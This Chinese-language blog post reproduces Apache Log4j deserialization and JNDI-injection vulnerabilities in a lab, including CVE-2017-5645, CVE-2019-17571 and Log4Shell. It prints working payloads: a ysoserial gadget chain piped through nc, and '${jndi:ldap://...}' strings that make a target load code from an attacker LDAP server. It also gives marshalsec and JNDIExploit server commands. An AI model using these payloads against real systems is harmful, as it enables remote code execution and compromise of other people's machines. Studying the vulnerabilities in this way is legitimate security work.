apache log4j漏洞复现

1. Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

利用条件

  1. 版本大于2小于2.82
  2. 有反序列化的利用链,因为这个漏洞只是提供给你一个让你传递反序列化数据的入口而已,至于能不能rce则是取决于被攻击机器上有没有完整的利用链

利用

我们假设被攻击机器上有CC5的利用链,那么利用payload如下:

java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712

2. CVE-2019-17571

log4j是Apache开发的一个日志工具。可以将Web项目中的日志输出到控制台,文件,GUI组件,甚至是套接口服务器。本次出现漏洞就是因为log4j在启动套接口服务器后,对监听端口传入的反序列化数据没有进行过滤而造成的。下面我们以log4j-1.2.17.jar的源码来进行分析。

利用条件

  1. 版本1.2.4 <= Apache Log4j <= 1.2.17(最新版)
  2. 有反序列化的利用链,因为这个漏洞只是提供给你一个让你传递反序列化数据的入口而已,至于能不能rce则是取决于被攻击机器上有没有完整的利用链

利用

我们假设被攻击机器上有CC5的利用链,那么利用payload如下:

java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712

log4j<=1.2.17反序列化漏洞(CVE-2019-17571)分析

3. apache log4j rce

原理:https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg

总结一下就是,日志中${}中的部分会被当作lookup函数的参数。

apacjhe log4j中的lookup作用是方便系统将特殊的值添加到日志之中,例如${hostname}就是主机名。


漏洞代码在log4j-core与log4j-api这两个jar包中。
漏洞代码在log4j-core与log4j-api这两个jar包中。
漏洞代码在log4j-core与log4j-api这两个jar包中。

环境:https://github.com/shanfenglan/apache_log4j_poc

利用条件

2.0 <= Log4j -2 <= 2.14.1

环境搭建

依赖的xml配置在这里查找:https://mvnrepository.com/artifact/org.slf4j/slf4j-api/1.7.25

使用idea创建一个Maven项目,并在pom.xml中添加漏洞版本Apache log4j的相关依赖,分别为log4j-core与log4j-api,最终完整的含具体pom.xml文件如下:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

</project>

然后创建一个java文件内容如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4j {
    private static final Logger logger = LogManager.getLogger(Log4j.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://192.168.171.1:12344/a}");
    }
}

在这里插入图片描述
执行这个java文件即可利用漏洞。
Maven项目pom.xml文件浅析
https://github.com/tangxiaofeng7/apache-log4j-poc

利用

poc:

${jndi:ldap://192.168.171;1:12344/Basic/Command/whoami}

在这里插入图片描述

命令执行部分我在linux与windows都未复现成功,不过看github上有人说windows下环境可以复现成功。


补充:命令执行部分

这个命令执行是本地的命令执行,也就是说恶意的class文件必须得和漏洞利用点所在的文件在同一文件夹或者同一个jar包内,举例如下:
在这里插入图片描述

log4j这个class是漏洞文件,执行后可以利用漏洞。
Log4jRCE是恶意的class文件,作用是在tmp下创建一个文件,名为123。
Tttouch是恶意的class文件,作用是在tmp下创建一个文件,名为1.txt。


我们先看看log4j.java的内容:
在这里插入图片描述
启动jndi服务端命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Tttouch"

在这里插入图片描述

当上述三个class文件在同一文件夹内的时候,执行这个log4j之后tmp结果如下:

在这里插入图片描述
此时我们将Tttouch.class移动到另一个文件夹下,反正不与log4j放在同一文件夹:
在这里插入图片描述
此时再次执行log4j,tmp文件夹中无新增文件:
在这里插入图片描述
在这里插入图片描述
1.txt并没有被创建
在这里插入图片描述

此时我们复制一个Tttouch.class放在和log4j在同一文件夹下,然后将jndi服务器路径下的Tttouch删掉,接着执行log4j:
在这里插入图片描述
在这里插入图片描述
1.txt再次出现了!!要知道,我们JNDI服务器根本没有这个类!
在这里插入图片描述

总结

这个漏洞给我的感觉是可以触发jndi注入,但是不会从我们的jndi服务器上拉取任何文件,而是仅仅判断这个文件本地是否存在,存在则执行,不存在则不执行。传统的jndi注入受害者会想下载我们创建的恶意class文件并实例化,此次好像并不是这样。

补充:如何将其变成正常的JNDI注入(及可加载攻击者自定义的class文件)

条件:如果我们使用LDAP方式的jndi注入,受害者服务器的代码中java的配置必须是com.sun.jndi.ldap.object.trustURLCodebase=True。

JDK中的默认配置如下:

JDK 5U45、6U45、7u21、8u121开始java.rmi.server.useCodebaseOnly默认位置true
JDK 6u132、7u122、8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值false
JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase默认为false

在这里插入图片描述


因此我们需要在log4j的代码中加上:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

最终代码如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4j {
    private static final Logger logger = LogManager.getLogger(Log4j.class);

    public static void main(String[] args) {
        //dG91Y2ggL3RtcC8xMjM 是touch /tmp/123的base64编码
        System.out.println("开始执行漏洞利用");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://127.0.0.1:12344/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM}");
        System.out.println("利用完成");
    }
}

执行命令:

使用JNDIExploit开启jndi服务器:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.171.1 -l 12344 -p 9999 

在这里插入图片描述

在这里插入图片描述

参考文章:https://www.codenong.com/f23e29b783ff38df36c9/

二次总结

JNDI注入原理及利用
在这里插入图片描述

JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性(使用的不是RMI Class Loading,而是URLClassLoader)。

这个漏洞的利用跟JDK中的配置有很大关系,换句话说跟jdk版本关系很大。
只要JDK版本无漏洞,那么apache log4j的这个RCE就很难利用成功。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>